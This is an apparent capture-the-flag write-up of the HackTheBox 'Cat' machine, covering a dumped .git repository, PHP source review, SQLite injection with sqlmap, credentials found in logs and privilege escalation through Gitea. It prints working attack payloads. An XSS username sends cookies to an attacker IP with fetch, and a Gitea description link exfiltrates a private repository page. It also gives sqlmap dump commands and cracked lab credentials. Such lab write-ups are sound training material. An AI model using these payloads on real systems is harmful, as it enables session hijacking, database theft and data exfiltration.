Cat Writeup

The Cat machine from HackTheBox is a machine that demonstrates multiple web vulnerabilities to allow getting from nothing to owning the machine. It starts with an XSS vulnerability, and then uses an SQL injection. It demonstrates how logs can contain sensitive information, and then another XSS via a Gitea 1.22.0 vulnerability to dump data from another page with the root password.

Enumeration: Scan all ports:

Nmap scan report for 10.10.11.53
Host is up (0.058s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Accessing port 80 redirects to cat.htb. Add that to the hosts file, then run a script scan with nmap:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-git: 
|   10.10.11.53:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Cat v1 
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Best Cat Competition
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There is a .git directory, so dump that directory and get all of the files inside with git-dumper:

python3 git_dumper.py http://cat.htb/.git dump

Looking through the dump there are a number of php files that are in the app, there is a page that is outputting information about the cats in an unsafe way. Because they aren't filtering this is vulnerable to XSS in view_cat.php:

<div class="container">
	<h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
	<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
	<div class="cat-info">
		<strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
		<strong>Age:</strong> <?php echo $cat['age']; ?><br>
		<strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
		<strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
		<strong>Owner:</strong> <?php echo $cat['username']; ?><br>
		<strong>Created At:</strong> <?php echo $cat['created_at']; ?>
	</div>
</div>

The area where cats are uploaded looks very filtered though, and unlikely to allow for xss to escape.

$cat_name = $_POST['cat_name'];
$age = $_POST['age'];
$birthdate = $_POST['birthdate'];
$weight = $_POST['weight'];
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
// Check for forbidden content
if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
contains_forbidden_content($age, $forbidden_patterns) ||
contains_forbidden_content($birthdate, $forbidden_patterns) ||
contains_forbidden_content($weight, $forbidden_patterns)) {
	$error_message = "Your entry contains invalid characters.";
}

Notably there is one section that is not filtered on that area though, the 'username' variable, which is created at login, and in the login creation function isn't filtered either: Registration:

if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
	$username = $_GET['username']; // Username variable
	$email = $_GET['email'];
	$password = md5($_GET['password']);
	$stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
	$stmt_check->execute([':username' => $username, ':email' => $email]);
	$existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);
	if ($existing_user) {
		$error_message = "Error: Username or email already exists.";
	} else {
		$stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)"); //Inserted without filtering
		$stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
	if ($stmt_insert) {
		$success_message = "Registration successful!";
	} else {
		$error_message = "Error: Unable to register user.";
	}
	}
}

An XSS attack in the username field to get the PHPSESSID, that is used for logging in can be done with an entry like this: Login form

username: <img src=x onerror=fetch("http://10.10.14.4:8000/"+document.cookie);>
email: [email protected]
password: asdf

Login as your new XSS payload username, to get the view_cat page to fire a cat needs to be uploaded as this user on the contest.php page. Any content will do, and if this is done while an http server is loaded on port 8000, then it will send the PHPSESSID in the url of the request. PHPSESSID Grabbed

Now that logging in as the app administrator via cookie stealing is possible, earlier it was noticed but wasn't usable at the time, but there is an sql injection on the accept_cat.php page. This page doesn't parameterize the catName variable.

$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

The type of database is in the config.php file, it is an sqlite database:

try {
	$pdo = new PDO("sqlite:$db_file");
	$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
}

With this information an sqlmap query can be created, that will allow for dumping the database.

#SQL map finds the correct type of injection:
sqlmap --cookie="PHPSESSID=1i2dlo33l49jv23lctlghqhrdb" --data="catName=asdf&catId=1" -u http://cat.htb/accept_cat.php -dbms=sqlite --level=5 --risk=3

#Get table names
sqlmap --cookie="PHPSESSID=1i2dlo33l49jv23lctlghqhrdb" --data="catName=asdf&catId=1" -u http://cat.htb/accept_cat.php --tables --threads 10

#Output
+-----------------+
| accepted_cats   |
| cats            |
| sqlite_sequence |
| users           |
+-----------------+

#Dump Users Database:
sqlmap --cookie="PHPSESSID=1i2dlo33l49jv23lctlghqhrdb" --data="catName=asdf&catId=1" -u http://cat.htb/accept_cat.php --dump -T users --threads 10

The hashes that are output by the last command can be cracked using either sqlmap itself at the end of the gathering it will offer to crack them for you, or they can be cracked with hashcat. Either way one user will crack against the /usr/share/wordlists/rockyou.txt wordlist, and that is rosa.

rosa:soyunaprincesarosa

Logging in over ssh with rosa works, and rosa is a part of the "adm" group, and that allows for reading through logs. Notably one log that is interesting to me is the apache2 access log, one anomaly that I noticed early on is the way the registration page works, sending the data in over a post request which should create a log against apache2. Outputting and filtering the file for the registration join.php page results in another credential.

#Command
cat access.log | grep join.php

#Output
127.0.0.1 - - [04/Feb/2025:18:19:06 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

Trying this against ssh is a new credential, and the user flag:

axel:aNdZwgC4tI9gnVXv_e3Q

The axel user doesn't have any more access to the machine backend then the rosa user has, in fact significantly less, however, it has some mail in the /var/mail server which is interesting. /var/mail/axel output

#Email 1
From: [email protected]
Message-Id: <[email protected]>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.


#Email 2
From: [email protected]
Message-Id: <[email protected]>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

Looking at port 3000 (Gitea) the version is 1.22.0, which has an XSS vulnerability in the Description field of repositories. Port forwarding 3000 with ssh allows us to login, reusing the axel credentials works on Gitea.

To get this exploit to work according to the email we need to send an email to jobert@localhost, who will open the repo, and then probably click any links in the Description field(This is just guessing from the email from rosa.). Potentially this can allow access to the Administrator user, or it could allow us to open the other private repository and send the output to us. The first didn't end up working, so we'll run through how to open and send the private repository.

First a repository is created (in this case "myrepo" is the name of the repository), and then the description needs to fetch the page for the administrator/Employee-management/, and send the text to the new request. The code for this is here:

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/').then(response => response.text()).then(text => {fetch('http://10.10.14.4:8000/' + encodeURIComponent(text));}).catch(error => {console.error('Error:', error);});">Click me!</a>

This will end up creating a response that will send the URI encoded text of the webpage to our python http server. After the repository is created a file needs to be added, the name and content don't matter but the description of the repository won't show up till it contains a file. Then an email needs to be sent to Jobert, this can be done with swaks.

Port forward 25 over ssh, and then using this command an email can be sent to jobert@localhost, the body containing the repo url:

swaks --to jobert@localhost --from [email protected] --server localhost --port 25 --body http://localhost:3000/axel/myrepo

Finally on the attack machine watch the python3 server.

10.10.11.53 - - [04/Feb/2025 13:37:03] code 414, message Request-URI Too Long
10.10.11.53 - - [04/Feb/2025 13:37:03] "" 414 -

Unfortunately the URL bar becomes to long sending the entire code for a webpage, so another way to handle that is to open up wireshark. Do the request again and capture it. After it is captured follow the TCP stream. wireshark capture

Copy all of the red text from the initial "GET /" to the final "HTTP/1.1", there is going to be a request in the middle that is blue that needs to be deleted as it is the python http server rejecting the URL request. After the entire section is copied paste it into your favorite online URL decoder. The output of this webpage shows that there are three files inside of the repository.

/administrator/Employee-management/src/branch/main/dashboard.php
/administrator/Employee-management/src/branch/main/index.php
/administrator/Employee-management/src/branch/main/logout.php

After finding these pages, use the same steps from before to output each of them. Searching through the files the one that gives information is the index.php file, there is a variable in the code called $valid_password. Password in Code Trying that password against root grants the root shell